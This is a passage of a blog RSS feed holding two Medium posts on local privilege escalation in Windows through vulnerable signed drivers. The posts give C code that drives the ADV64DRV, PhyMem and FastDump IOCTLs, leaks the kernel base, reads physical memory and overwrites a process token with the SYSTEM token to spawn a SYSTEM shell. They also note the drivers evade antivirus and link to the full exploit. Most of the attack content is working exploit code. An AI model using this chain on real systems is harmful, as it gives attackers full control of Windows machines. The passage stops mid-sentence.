size)</pre><p>Copies the data from the mapped physical memory into the user’s output buffer. This is the actual read operation.FUN_000115a0 is an optimized memory copy routine (essentially a manually unrolled memmove) that handles overlapping buffers and alignment. The driver uses it to copy data from the mapped physical memory into the user‑supplied output buffer.</p><p>Then Cleanup</p><pre>MmUnmapIoSpace(puVar4, uVar5);</pre><p>Unmaps the memory and returns the number of bytes read to user mode.</p><p>The vuln is that there is no validation</p><h3>How we Exploit This</h3><pre>// ADV64DRV physical read helper<br>int ADV_PhysRead(DWORD64 pa, void* buf, DWORD size) {<br>    BYTE inBuf[0x10] = {0};                     // 16 bytes input buffer<br>    *(DWORD64*)(inBuf + 0) = pa;                // bus address = physical address<br>    *(DWORD*)(inBuf + 8)   = size;              // number of bytes to read<br><br>    DWORD ret = 0;<br>    return DeviceIoControl(<br>        hADV,                                    // handle to ADV64DRV<br>        0x224004,                                // physical read IOCTL<br>        inBuf, sizeof(inBuf),                    // input: address + size<br>        buf, size,                               // output: data read from memory<br>        &amp;ret, NULL<br>    );<br>}</pre><p>What this do is</p><ol><li>Takes any physical address (pa) and a buffer to store the result.</li><li>Places the physical address directly in the input buffer (no bus translation needed on this hardware).</li><li>Sends the IOCTL. The driver maps the physical address, copies the data to our output buffer, and returns.</li></ol><p>This Function in our exploit is used to read</p><ul><li>The System EPROCESS pointer from PsInitialSystemProcess</li><li>The System token from System EPROCESS + 0x4B8</li><li>Each process’s PID while walking the ActiveProcessLinks list</li></ul><h3>Stealing the SYSTEM Token</h3><p>Every process has a security token (EPROCESS.Token at offset 0x4B8) that determines its privileges. The System token is the most powerful. So in order to reach the token we need to convert its VA to PA and then read the Bytes at that PA. We reach this Token by First reading the VA of the EPROCESS that we get through PsinitialSystemProcess which is at a fixed offest from the kernel base that we leak using the TEC driver then after getting the location of EPROCESS we add the Token offset this is also a Fixed offset in Windows it changes per Build</p><pre>DWORD64 sysPA = TE_VaToPa(sysEproc);<br>DWORD64 sysToken = ADV_Read64(sysPA + 0x4B8) &amp; 0xFFFFFFFFFFFFFFF0ULL;</pre><h3>Token Structure</h3><p>The Token field is an EX_FAST_REF — an optimized pointer that uses the <strong>lower 4 bits as a reference count</strong>. To get the actual token pointer, mask off those bits:</p><pre>sysToken &amp;= 0xFFFFFFFFFFFFFFF0ULL;  // Clear lower 4 bits</pre><h3>Reading It</h3><ol><li>Convert System’s EPROCESS VA to PA via TEACCESS</li><li>Add the hardcoded offset 0x4B8 to reach the token field</li><li>Read the 8-byte value with ADV64DRV</li><li>Mask off the reference count bits</li></ol><p>Result: the actual TOKEN pointer for the System process.</p><h3>Finding Our Own EPROCESS via ActiveProcessLinks</h3><p>The System EPROCESS has a field called ActiveProcessLinks at offset 0x448. It contains a LIST_ENTRY structure with two pointers: Flink (forward link) and Blink (backward link). Flink points to the ActiveProcessLinks field of the next process in the list — not the start of the next EPROCESS itself. Blink points to the ActiveProcessLinks field of the previous process.</p><p>All running processes are chained together in a circular doubly‑linked list through these ActiveProcessLinks. To find our own process, we start at the System EPROCESS, read its Flink pointer, subtract the offset 0x448 to get the base of the next EPROCESS, and check the UniqueProcessId field at offset 0x440. If the PID matches our own, we found ourselves. If not, we follow the next Flink and repeat. The loop continues until we come back around to the beginning or find our PID.</p><pre>DWORD myPid = GetCurrentProcessId();<br>DWORD64 flink = ReadPhys64(sysEPROCESS_PA + 0x448);<br>DWORD64 current = flink - 0x448;<br><br>while (true) {<br>    DWORD64 pid = ReadPhys64(ReadVaToPa(current) + 0x440);<br>    if ((DWORD)pid == myPid) {<br>        // Found our EPROCESS<br>        break;<br>    }<br>    DWORD64 nextFlink = ReadPhys64(ReadVaToPa(current) + 0x448);<br>    if (nextFlink == flink || nextFlink == 0) break; // full loop<br>    current = nextFlink - 0x448;<br>}</pre><h3>The List Structure</h3><p>The ActiveProcessLinks field at offset 0x448 is a LIST_ENTRY — a doubly-linked list node with Flink and Blink pointers. These pointers point to the <strong>next entry&#39;s </strong><strong>LIST_ENTRY field, not the start of the EPROCESS</strong>.</p><p>To get back to the EPROCESS base:</p><pre>EPROCESS_VA = ActiveProcessLinks_Pointer - 0x448</pre><h3>The Walk</h3><ol><li>Read the Flink at System&#39;s ActiveProcessLinks (sysPA + 0x448)</li><li>Subtract 0x448 to get the first process&#39;s EPROCESS VA</li><li>Convert to PA, read PID at offset 0x440</li><li>If PID matches yours, found it; otherwise follow Flink to next process</li><li>Repeat until you find your PID or reach the end of the list</li></ol><h3>Overwriting Our Token via PhyMem</h3><h4>PhyMem IOCTLs 0x80002000 / 0x80002004 — Physical Memory Map and Unmap</h4><p>The driver offers two IOCTLs that work as a pair:</p><p><strong>IOCTL 0x80002000 — Map Physical Memory</strong></p><pre>case 0x80002000:<br>    // Requires 16 bytes input, 8 bytes output<br>    if ((iVar6 == 0x10) &amp;&amp; (uVar5 == 8)) {<br>        // Map the user-supplied physical address into kernel space<br>        lVar8 = MmMapIoSpace(*(longlong *)puVar2, puVar2[2], 0);<br>        if (lVar8 != 0) {<br>            // Create an MDL and map the memory into the calling process<br>            lVar9 = IoAllocateMdl(lVar8, puVar2[2], 0, 0, 0);<br>            if (lVar9 != 0) {<br>                MmBuildMdlForNonPagedPool(lVar9);<br>                lVar10 = MmMapLockedPages(lVar9, 1);   // 1 = UserMode<br>                // Save mapping info in a linked list for later cleanup<br>                puVar11 = ExAllocatePool(0, 0x28);<br>                puVar11[1] = lVar9;                    // MDL<br>                puVar11[2] = lVar8;                    // kernel VA<br>                puVar11[3] = lVar10;                   // user‑mode VA<br>                *(uint *)(puVar11 + 4) = puVar2[2];   // size<br>                FUN_00011e60(&amp;DAT_00013210, puVar11);  // add to list<br>                // Return the user‑mode pointer to caller<br>                *(longlong *)puVar2 = lVar10;<br>                *(undefined8 *)(param_2 + 0x38) = 8;<br>            }<br>        }<br>    }<br>    break;</pre><p><strong>IOCTL 0x80002004 — Unmap Physical Memory</strong></p><pre>case 0x80002004:<br>    if (iVar6 == 0x10) {<br>        // Walk the linked list looking for the user‑mode VA<br>        for (entry = DAT_00013210; entry != NULL; entry = entry-&gt;Flink) {<br>            if (entry[3] == *(longlong *)puVar2) {          // match user VA<br>                if (*(uint *)(entry + 4) == puVar2[2]) {    // match size<br>                    MmUnmapLockedPages(entry[3], entry[1]);<br>                    IoFreeMdl(entry[1]);<br>                    MmUnmapIoSpace(entry[2], *(uint *)(entry + 4));<br>                    // Remove from linked list<br>                    if (entry == DAT_00013210)<br>                        DAT_00013210 = entry-&gt;Flink;<br>                    else<br>                        *prevEntry = entry-&gt;Flink;<br>                    ExFreePoolWithTag(entry, 0);<br>                }<br>                break;<br>            }<br>            prevEntry = entry;<br>        }<br>    }<br>    break;</pre><p>Now what these IOCTLs Do</p><p>Map (0x80002000):</p><ol><li>Takes a 64‑bit physical address and a size from the user buffer.</li><li>Maps that physical range into kernel virtual space with MmMapIoSpace.</li><li>Allocates an MDL for the mapped memory and calls MmMapLockedPages with UserMode access — this makes the physical memory directly accessible from user mode.</li><li>Returns a user‑mode virtual address (pointer) that reads and writes the underlying physical RAM.</li></ol><p>Unmap (0x80002004):</p><ol><li>Takes the user‑mode VA and size that were returned by the map IOCTL.</li><li>Walks the driver’s internal linked list to find the corresponding mapping entry.</li><li>Unmaps the locked pages, frees the MDL, unmaps the kernel VA, and removes the entry from the list.</li></ol><p>When combined, the user maps a physical address, performs reads and writes directly through the returned pointer, then unmaps to clean up. No IOCTL is needed for the actual data access — just raw C pointer operations.</p><p>The Vuln is that there is no validation that which level of user can do what a standard user can write to physcial memory there is no checks on this IOCTL</p><h3>How we Exploit it</h3><pre>// Map physical address → user‑mode pointer<br>DWORD64 PM_Map(DWORD64 pa, DWORD size) {<br>    BYTE inBuf[16] = {0};<br>    *(DWORD64*)(inBuf + 0) = pa;<br>    *(DWORD*)(inBuf + 8)   = size;<br>    DWORD64 outVA = 0;<br>    DeviceIoControl(hPM, 0x80002000, inBuf, 16, &amp;outVA, 8, NULL, NULL);<br>    return outVA;<br>}<br>// Unmap previously mapped memory<br>void PM_Unmap(DWORD64 va, DWORD size) {<br>    BYTE inBuf[16] = {0};<br>    *(DWORD64*)(inBuf + 0) = va;<br>    *(DWORD*)(inBuf + 8)   = size;<br>    DeviceIoControl(hPM, 0x80002004, inBuf, 16, NULL, 0, NULL, NULL);<br>}</pre><p>To overwrite a kernel token (8 bytes at physical address 0x3CFC404):</p><pre>DWORD64 mapped = PM_Map(0x3CFC404, 8);   // map the token&#39;s physical address<br>*(DWORD64*)mapped = systemToken;         // overwrite with SYSTEM token<br>PM_Unmap(mapped, 8);                     // clean up</pre><p>The CPU treats the mapped address like any other memory, but it points directly into physical RAM. That’s what makes this primitive so dangerous: once mapped, physical memory is indistinguishable from normal program memory.</p><h3>Privilege Escalation and Shell</h3><p>Once the token is written:</p><pre>// Optional: enable all privileges in the token<br>// AdjustTokenPrivileges(GetCurrentProcessHandle(), ...);<br>// Spawn a child process - it inherits the SYSTEM token<br>system(&quot;cmd.exe&quot;);</pre><p>The child shell runs with full SYSTEM privileges.</p><p>Thats all</p><p><strong>Full Exploit Code:</strong> <a href="https://github.com/Haider303/trinity-2.0-lpe/">https://github.com/Haider303/trinity-2.0-lpe/</a></p><p><strong>Demo Video:</strong> <a href="https://youtu.be/YuI_4W1oiB4">https://youtu.be/YuI_4W1oiB4</a></p><p>Remember: load all three drivers before running the exploit. For educational purpose only</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69441310b7f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FastDump.sys + CITMDRV.sys]]></title>
            <link>https://medium.com/@haider303mustafa/fastdump-sys-citmdrv-sys-567f57e9cd20?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/567f57e9cd20</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[driver]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Sun, 12 Jul 2026 17:46:31 GMT</pubDate>
            <atom:updated>2026-07-12T17:46:31.469Z</atom:updated>
            <content:encoded><![CDATA[<h3>FastDump.sys + CITMDRV.sys + NTIOLib.sys: Full Kernel Exploit Chain — From KASLR Bypass to SYSTEM Token Theft</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s4KfvXKENxVZG3THzk6PGA.png" /></figure><p>Hello Guys back with another token stealing exploit lets start with some basics:</p><h3>What Even Is Kernel Memory Access?</h3><p>Before diving into how we steal the SYSTEM token using three vulnerable drivers, let’s establish why these drivers are so dangerous and what memory models we’re attacking.</p><p>Windows runs at two privilege levels: <strong>user mode</strong> and <strong>kernel mode</strong>. Your applications run in user mode with restricted access. The kernel and drivers run in kernel mode with unrestricted access to every byte of memory on the machine.</p><p>Kernel drivers (.sys files) live in kernel mode and communicate with user applications through <strong>IOCTLs</strong> — numbered function calls. A user-mode program opens a handle to a driver&#39;s device object, sends an IOCTL code with an input buffer, and the driver processes it in kernel context with full privileges.</p><p>This is the attack vector: so if a driver exposes an IOCTL that doesn’t properly validate its inputs — especially pointers or addresses — a user-mode program can trick it into modifying kernel memory, bypassing all privilege boundaries.</p><h3>Physical vs Virtual Memory</h3><p>Windows memory is abstracted into <strong>virtual address spaces</strong>. Each process has its own 64-bit virtual address space mapped to physical RAM through <strong>page tables</strong>. The kernel maintains these mappings in structures called <strong>paging hierarchies</strong> (PML4, PDPT, PD, PT on x86–64).</p><p>The relationship is:</p><ul><li><strong>Virtual Address (VA)</strong> — what your code sees (something like 0x00007FF123456000)</li><li><strong>Physical Address (PA)</strong> — the actual location in RAM (something like 0x1A5000)</li><li><strong>Page Tables</strong> — kernel structures that translate VA → PA think of a page table like a row of lockers where the label on the outside (Virtual Page) tells you exactly which locker number inside the building (Physical Frame) contains your jacket.</li></ul><p>Drivers often need to work with physical addresses — especially for DMA (Direct Memory Access) and memory-mapped I/O. Routines like MmMapIoSpace and MmMapLockedPages map physical memory regions into kernel virtual space so drivers can manipulate them.</p><p>The vulnerability: if a driver blindly maps any physical address a user supplies, they’ve just handed you direct read/write access to <strong>all of RAM</strong>, bypassing process isolation, privilege checks, and security features built on top of virtual memory.</p><h3>The EPROCESS Structure and Token Stealing</h3><p>Every running process on Windows has an EPROCESS structure living in kernel memory. It&#39;s a large data structure the kernel uses to track everything about a process.</p><p>Three fields are critical to token stealing:</p><p><strong>UniqueProcessId at offset </strong><strong>0x440</strong> — The process&#39;s PID. When walking the process list looking for your own process, you compare this value to GetCurrentProcessId().</p><p><strong>ActiveProcessLinks at offset </strong><strong>0x448</strong> — A doubly-linked list node (containing Flink and Blink pointers) that chains all running EPROCESS structures together in a circular list. The kernel anchors this list at PsInitialSystemProcess, the SYSTEM process. To navigate from an ActiveProcessLinks entry back to its parent EPROCESS, you subtract the offset: EPROCESS_VA = ActiveProcessLinks_Pointer - 0x448.</p><p><strong>Token at offset </strong><strong>0x4B8</strong> — A pointer to the process&#39;s security token. The SYSTEM process token is the most privileged on the entire machine. If you overwrite your process&#39;s token pointer with SYSTEM&#39;s token pointer, Windows believes your process is SYSTEM and grants it full privileges.</p><p>One critical detail: these offsets (0x440, 0x448, 0x4B8) are <strong>build-specific</strong>. They are baked into the compiled Windows kernel binary (ntoskrnl.exe) at that point in time and never change within a single kernel build. But they differ across Windows versions and even between updates. A real-world exploit must either hardcode a table of known offsets or resolve them dynamically from Microsoft&#39;s symbol files (PDB). For this research, offsets were tested against a specific Windows build.</p><h3>Why Three Drivers?</h3><p>The token steal requires three distinct primitives:</p><ol><li><strong>KASLR Bypass</strong> — The kernel loads at a random address every boot (Address Space Layout Randomization). You need to leak where it actually loaded.</li><li><strong>Kernel Read</strong> — Once you know where the kernel is, you need to read kernel memory to locate structures and data.</li><li><strong>Kernel Write</strong> — Finally, you need to write the stolen token into your process’s EPROCESS structure.</li></ol><p>In this chain:</p><ul><li><strong>FastDump.sys</strong> provides the KASLR bypass (kernel base + System CR3)</li><li><strong>CITMDRV_AMD64.sys</strong> provides the read primitive (physical memory read)</li><li><strong>NTIOLib_X64.sys</strong> provides the write primitive (physical memory write)</li></ul><p>Combined, they give us a complete path from unprivileged user mode to spawning a SYSTEM shell.</p><h3>Understanding Physical Memory Access</h3><p>Before analyzing each driver, let’s understand the underlying kernel APIs they exploit: MmMapIoSpace and MmMapLockedPages.</p><h3>MmMapIoSpace — Kernel API for Mapping Physical Memory</h3><pre>PVOID MmMapIoSpace(<br>  PHYSICAL_ADDRESS  PhysicalAddress,<br>  SIZE_T            NumberOfBytes,<br>  MEMORY_CACHING_TYPE CacheType<br>);</pre><p>This API takes a <strong>physical address</strong> and a size, and returns a <strong>kernel virtual address</strong> that maps that physical memory region. It’s designed for drivers to access memory-mapped I/O (MMIO) regions — device registers, etc.</p><p>The critical point: <strong>it does not validate the input physical address</strong>. A driver that passes user-supplied physical addresses to this function hands the user direct read/write access to anywhere in physical RAM.</p><h3>MmMapLockedPages — Exposing Kernel Memory to User Mode</h3><pre>PVOID MmMapLockedPages(<br>  PMDL Mdl,<br>  KPROCESSOR_MODE AccessMode<br>);</pre><p>This API takes a <strong>Memory Descriptor List</strong> (MDL) describing locked kernel memory and maps it into a given privilege level’s address space. When called with AccessMode = UserMode, it creates a user-mode virtual address that backs kernel physical memory — effectively giving user-mode code a direct window into kernel RAM.</p><h3>Virus total score and Loadability Status on Windows</h3><p>All 3 of them has a Virus Total of 0/71 or 72 and also they are easily loadable on Modern Windwos 11 using the sc.exe service in the cmd or using OSR loader</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v0pDj2DfTKwKVjaZbApaRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngIhOtYbEkc6efcLhpl9zA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGlmEAW7377g4yshpts9Xg.png" /></figure><h3><strong>Finding Symbolic Links of the drivers Dynamically using OSR Loader</strong></h3><p>A <strong>symbolic link</strong> is the bridge between user-mode processes and kernel drivers. It’s a named entry in the Windows object namespace that points to a driver’s <strong>device object</strong>. Without knowing the correct symbolic link name, you cannot open a handle to the driver and cannot send any IOCTLs.</p><p>Think of it this way:</p><ul><li>The driver lives in kernel space</li><li>The symbolic link is its address in user space</li><li>IOCTLs are messages you send through that link</li></ul><p>When you call CreateFile(&quot;\\\\.\\DriverName&quot;, ...), you&#39;re opening a handle to the device object via its symbolic link. The kernel resolves that name and connects you to the driver.</p><p><strong>Critical detail: Symbolic links are case-sensitive.</strong> If the actual link is \Device\MyDriver but you try to open \Device\mydriver (lowercase), the call fails with ERROR_FILE_NOT_FOUND. The name must match exactly — every character, every backslash, every character case.</p><p>Here’s a much better version:</p><h3>Finding the Symbolic Link — Static vs. Dynamic Approaches</h3><p>Once a driver is loaded, you need its symbolic link name to connect from user mode. There are two approaches:</p><p><strong>Approach 1: Static Analysis (The Hard Way)</strong></p><p>Reverse-engineer the driver binary in Ghidra or IDA Pro. Search for hardcoded string references — drivers often embed their device paths as constants in the code. For example, a decompiled function might show:</p><pre>CreateDeviceObject(L&quot;\\Device\\MyDriver&quot;, ...);<br>RegisterSymbolicLink(L&quot;\\DosDevices\\MyDriver&quot;, ...);</pre><p>Parse through pages of assembly, find the right strings, and extract the symbolic link name.</p><p><strong>Problem:</strong> This is tedious, error-prone, and assumes the driver hardcodes the link as a string. Some drivers construct names dynamically, making static analysis unreliable. You might spend hours reversing only to find a single character wrong.</p><p><strong>Approach 2: Dynamic Discovery (The Right Way)</strong></p><p>Load the driver using a tool like <strong>OSR Driver Loader</strong> or the Service Control Manager, then use <strong>WinObj</strong> (Sysinternals) to browse the live Windows object namespace.</p><p><strong>Advantage:</strong> You see the actual name the driver registered, guaranteed correct and case-sensitive. No guessing, no reversing, no mistakes.</p><p>Example: If WinObj shows \DosDevices\FastDump, your user-mode code uses:</p><pre>HANDLE hDriver = CreateFileA(&quot;\\\\.\\FastDump&quot;, GENERIC_READ | GENERIC_WRITE, <br>                             0, NULL, OPEN_EXISTING, 0, NULL);</pre><p>Lets do that first I will load all 3 drivers using OSR loader :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*iZE_fOLqR4D9cSnDam3qGA.png" /></figure><p>Then use Winobj and Open the GLOBAL?? and try to find the Symbolic link using the driver name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5hsR5ZFSOCz6bjRkgrK-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ehFd3d16NJ-2iZ8X6RAMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sd1X04koP2tnbZQMAM44CA.png" /></figure><p>Now we have all of the Symbolic links lets move towards understanding what is the vulnerability in the drivers</p><h3>FastDump.sys — KASLR Bypass</h3><h3>What Is KASLR?</h3><p><strong>Kernel Address Space Layout Randomization (KASLR)</strong> means the Windows kernel binary (ntoskrnl.exe) loads at a different virtual address on every boot. This randomization is applied to defeat attacks that hardcode kernel memory addresses. For example :</p><p>On modern systems, ntoskrnl might load at:</p><ul><li>Boot 1: 0xFFFFF80001400000</li><li>Boot 2: 0xFFFFF80013220000</li><li>Boot 3: 0xFFFFF80042100000</li></ul><p>All relative offsets <em>within</em> the kernel remain constant (e.g., PsInitialSystemProcess is always at offset 0xCFC420 <strong>from the kernel base</strong> on a given build), but the base address changes, so hardcoded addresses don&#39;t work. PsinitalSystemProcess <strong>points to the EPROCESS structure</strong> for the system process. So if we can read this we can read the SYSTEM process EPROCESS .</p><p><strong>KASLR defeats relying on hardcoded addresses. But if you can leak the kernel base, you can calculate every kernel address: </strong><strong>RealAddress = LeakedBase + KnownOffset.</strong></p><h3>FastDump’s IOCTL 0x9C400010 — The Info Leak</h3><p>FastDump exposes an IOCTL (0x9C400010) that returns a structure containing two critical pieces of information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*2LA8UCdKxpESmks06JZHwQ.png" /></figure><p>FUN_0001297c is the function that prepares the kernel information structure. After it succeeds, the driver sets *param_2 + 0x38 = 0x7c (the number of bytes returned to user mode) and jumps to LAB_00013ab8 (returns buffer to user mode) which completes the request. The kernel base virtual address ends up at offset +0x70 in that returned buffer, and the System CR3 at offset +0x68.</p><p>We can make it more clear by seeing the de-compilation of the function FUN_0001297c</p><pre><br>void FUN_0001297c(ulonglong *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)<br><br>{<br>  uint uVar1;<br>  void *pvVar2;<br>  int iVar3;<br>  uint uVar4;<br>  ulonglong uVar5;<br>  undefined8 uVar6;<br>  code *pcVar7;<br>  uint *puVar8;<br>  longlong lVar9;<br>  ulonglong *puVar10;<br>  ulonglong uVar11;<br>  undefined8 uVar12;<br>  undefined1 auStack_1b8 [32];<br>  uint local_198;<br>  ushort local_194;<br>  byte local_192;<br>  undefined4 local_190 [2];<br>  undefined1 local_188 [16];<br>  undefined1 local_178 [16];<br>  undefined1 local_168 [16];<br>  undefined1 local_158 [16];<br>  undefined4 local_148;<br>  uint local_144;<br>  uint local_140;<br>  uint local_13c;<br>  uint local_138;<br>  uint local_134;<br>  uint local_130;<br>  uint local_12c;<br>  uint local_128;<br>  ulonglong local_28;<br>  <br>  local_28 = DAT_00016100 ^ (ulonglong)auStack_1b8;<br>  uVar6 = 0;<br>  uVar12 = 0x7c;<br>  FUN_00014090(param_1,0,0x7c);<br>  KeSetSystemAffinityThread(1);<br>  pvVar2 = SubSystemTib;<br>  KeRevertToUserAffinityThread();<br>  uVar5 = MmGetPhysicalAddress(pvVar2);<br>  *(void **)((longlong)param_1 + 0x54) = pvVar2;<br>  param_1[0xc] = uVar5;<br>  local_148 = 0x114;<br>  uVar6 = FUN_00011e38((ulonglong *)&amp;local_148,uVar6,uVar12,param_4);<br>  if ((int)uVar6 == 0) {<br>    RtlInitUnicodeString(local_188,L&quot;ZwQuerySystemInformation&quot;);<br>    pcVar7 = (code *)MmGetSystemRoutineAddress(local_188);<br>    if (pcVar7 == (code *)0x0) goto LAB_00012a92;<br>    local_190[0] = 0;<br>    iVar3 = (*pcVar7)(0,&amp;local_148,0x118,local_190);<br>    if (iVar3 &lt; 0) goto LAB_00012a92;<br>    param_1[1] = (ulonglong)local_144;<br>    param_1[2] = (ulonglong)local_140;<br>    param_1[3] = (ulonglong)local_13c;<br>    param_1[4] = (ulonglong)local_138;<br>    param_1[5] = (ulonglong)local_134;<br>    param_1[6] = (ulonglong)local_130;<br>    param_1[7] = (ulonglong)local_12c;<br>    param_1[8] = (ulonglong)local_128;<br>  }<br>  else {<br>LAB_00012a92:<br>    uVar4 = KeQueryTimeIncrement();<br>    param_1[2] = 0x1000;<br>    param_1[1] = (ulonglong)uVar4;<br>  }<br>  uVar5 = KeQueryActiveProcessors();<br>  *(undefined4 *)(param_1 + 10) = 0;<br>  lVar9 = 0x40;<br>  param_1[9] = uVar5;<br>  do {<br>    if ((uVar5 &amp; 1) != 0) {<br>      *(int *)(param_1 + 10) = (int)param_1[10] + 1;<br>    }<br>    uVar5 = uVar5 &gt;&gt; 1;<br>    lVar9 = lVar9 + -1;<br>  } while (lVar9 != 0);<br>  *(undefined4 *)((longlong)param_1 + 0x5c) = 0xffffff;<br>  RtlInitUnicodeString(local_158,L&quot;KeGetCurrentProcessorNumber&quot;);<br>  pcVar7 = (code *)MmGetSystemRoutineAddress(local_158);<br>  if (pcVar7 == (code *)0x0) {<br>    RtlInitUnicodeString(local_178,L&quot;KeGetCurrentProcessorNumberEx&quot;);<br>    pcVar7 = (code *)MmGetSystemRoutineAddress(local_178);<br>    if (pcVar7 != (code *)0x0) {<br>      iVar3 = (*pcVar7)(&amp;local_194);<br>      uVar4 = (iVar3 &lt;&lt; 8 | (uint)local_194) &lt;&lt; 8 | (uint)local_192;<br>      goto LAB_00012b37;<br>    }<br>  }<br>  else {<br>    uVar4 = (*pcVar7)();<br>LAB_00012b37:<br>    *(uint *)((longlong)param_1 + 0x5c) = uVar4;<br>  }<br>  uVar5 = 0;<br>  local_198 = 0;<br>  RtlInitUnicodeString(local_168,L&quot;ZwQuerySystemInformation&quot;);<br>  pcVar7 = (code *)MmGetSystemRoutineAddress(local_168);<br>  uVar11 = uVar5;<br>  if ((pcVar7 != (code *)0x0) &amp;&amp; ((*pcVar7)(0xb,0,0,&amp;local_198), local_198 != 0)) {<br>    while (puVar8 = (uint *)MmAllocateNonCachedMemory(local_198), uVar4 = local_198,<br>          puVar8 != (uint *)0x0) {<br>      iVar3 = (*pcVar7)(0xb,puVar8,local_198,&amp;local_198);<br>      if (iVar3 != -0x3ffffffc) {<br>        uVar11 = 0;<br>        if (-1 &lt; iVar3) {<br>          if (*puVar8 == 0) goto LAB_00012c2a;<br>          puVar10 = (ulonglong *)(puVar8 + 6);<br>          uVar4 = 0;<br>          goto LAB_00012be5;<br>        }<br>        break;<br>      }<br>      MmFreeNonCachedMemory(puVar8,uVar4);<br>    }<br>  }<br>LAB_00012c37:<br>  pcVar7 = PsInitialSystemProcess_exref;<br>  param_1[0xe] = uVar11;<br>  *(undefined4 *)(param_1 + 0xf) = 3;<br>  param_1[0xd] = *(ulonglong *)(*(longlong *)pcVar7 + 0x28);//Dir Base<br>  FUN_00013b10(local_28 ^ (ulonglong)auStack_1b8);<br>  return;<br>  while( true ) {<br>    if (((code *)*puVar10 &lt; pcVar7) &amp;&amp; (pcVar7 &lt; (code *)((ulonglong)(uint)puVar10[1] + *puVar10)))<br>    {<br>      uVar5 = *(ulonglong *)(puVar8 + (ulonglong)uVar4 * 0x4a + 6);<br>      break;<br>    }<br>    puVar10 = puVar10 + 0x25;<br>    uVar4 = uVar1;<br>    if (*puVar8 &lt;= uVar1) break;<br>LAB_00012be5:<br>    uVar1 = uVar4 + 1;<br>    if ((uint *)((ulonglong)local_198 + (longlong)puVar8) &lt; puVar8 + (ulonglong)uVar1 * 0x4a + 2)<br>    break;<br>  }<br>LAB_00012c2a:<br>  MmFreeNonCachedMemory(puVar8,local_198);<br>  uVar11 = uVar5;<br>  goto LAB_00012c37;<br>}<br><br></pre><p>The decompiled function FUN_0001297c receives a pointer param_1 (the output buffer) and fills it with kernel information. Two critical fields are written at specific indices, which correspond to byte offsets in the buffer:</p><p>System CR3 is written at param_1[0xd] :</p><pre>0xd * 8 = 0x68</pre><p>The code does:</p><pre>param_1[0xd] = *(ulonglong *)(*(longlong *)PsInitialSystemProcess_exref + 0x28);</pre><p>This reads the DirectoryTableBase from the System process EPROCESS and stores it at offset +0x68.</p><ul><li>Kernel base (the base address of ntoskrnl.exe) is written at param_1[0xe]</li></ul><pre>0xe * 8 = 0x70</pre><p>The code uses ZwQuerySystemInformation(SystemModuleInformation) to enumerate loaded modules, locates the module that contains the PsInitialSystemProcess pointer, and extracts that module’s base address into a variable uVar11. Then it writes it:</p><pre>param_1[0xe] = uVar11;</pre><p>This places the kernel’s base virtual address at offset +0x70.</p><p>So the IOCTL itself is 0x9C400010, and the leak happens inside FUN_0001297c</p><p><strong>At offset </strong><strong>+0x70:</strong> A raw kernel virtual address — specifically, the base address of ntoskrnl.exe.</p><p><strong>At offset </strong><strong>+0x68:</strong> The System process&#39;s <strong>CR3</strong> value — the base address of the System process&#39;s page table. This is needed later for virtual-to-physical address translation.</p><h3>Decompiled Handler (Conceptual)</h3><pre>case 0x9C400010: {<br>    BYTE inBuffer[0x80]  = {0};<br>    BYTE outBuffer[0x80] = {0};<br>    <br>    // Set input size indicator<br>    *(DWORD*)inBuffer = 0x7C;<br>    <br>    // Call the actual handler — it populates outBuffer with kernel info<br>    FastDumpGetKernelInfo(inBuffer, outBuffer, 0x80);<br>    <br>    // Return to caller<br>    // outBuffer[0x70] contains kernel base VA<br>    // outBuffer[0x68] contains System CR3<br>}</pre><h3>Using It</h3><p>From user mode:</p><pre>BYTE inBuf[0x80] = {0}, outBuf[0x80] = {0};<br>DWORD bytesReturned;<br>*(DWORD*)inBuf = 0x7C;<br>DeviceIoControl(<br>    hFastDump,<br>    0x9C400010,<br>    inBuf, sizeof(inBuf),<br>    outBuf, sizeof(outBuf),<br>    &amp;bytesReturned,<br>    NULL<br>);<br>DWORD64 kernelBase = *(DWORD64*)(outBuf + 0x70);<br>DWORD64 systemCR3  = *(DWORD64*)(outBuf + 0x68) &amp; 0xFFFFFFFFFFFFF000ULL;<br>printf(&quot;[+] Kernel Base: 0x%016llX\n&quot;, kernelBase);<br>printf(&quot;[+] System CR3:  0x%016llX\n&quot;, systemCR3);</pre><h3>Why It’s Vulnerable</h3><p><strong>There is no validation.</strong> The driver returns raw kernel addresses to any unprivileged caller. This completely defeats KASLR.</p><h3>4. CITMDRV_AMD64.sys — Physical Read Primitive</h3><h3>Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*aCpo6Te3FXZA5-A8aVW8Mg.png" /></figure><p>CITMDRV exposes a physical memory read primitive. It allows a caller to specify any <strong>physical address</strong> and read data from it. The vulnerability lies in the IOCTL handler that maps physical memory into user space without any privilege checks. The decompiled function FUN_00011540 (called when IOCTL 0x80002000 is received , it</p><p>Validates input buffer size — requires at least 0x18 bytes input and 8 bytes output.</p><p>Locks the user output buffer with MmProbeAndLockPages so it remains resident in RAM during the copy.</p><p>Opens \Device\PhysicalMemory using ZwOpenSection with SECTION_MAP_READ access.</p><p>Maps the physical address range given by the user into kernel virtual address space via ZwMapViewOfSection. The physical address is taken directly from the input buffer (offset 0x00), with no verification.</p><p>Copies data from the mapped kernel view to the locked user buffer.</p><p>Cleans up — unmaps the view, unlocks pages, frees the MDL</p><p>The critical issue is that there 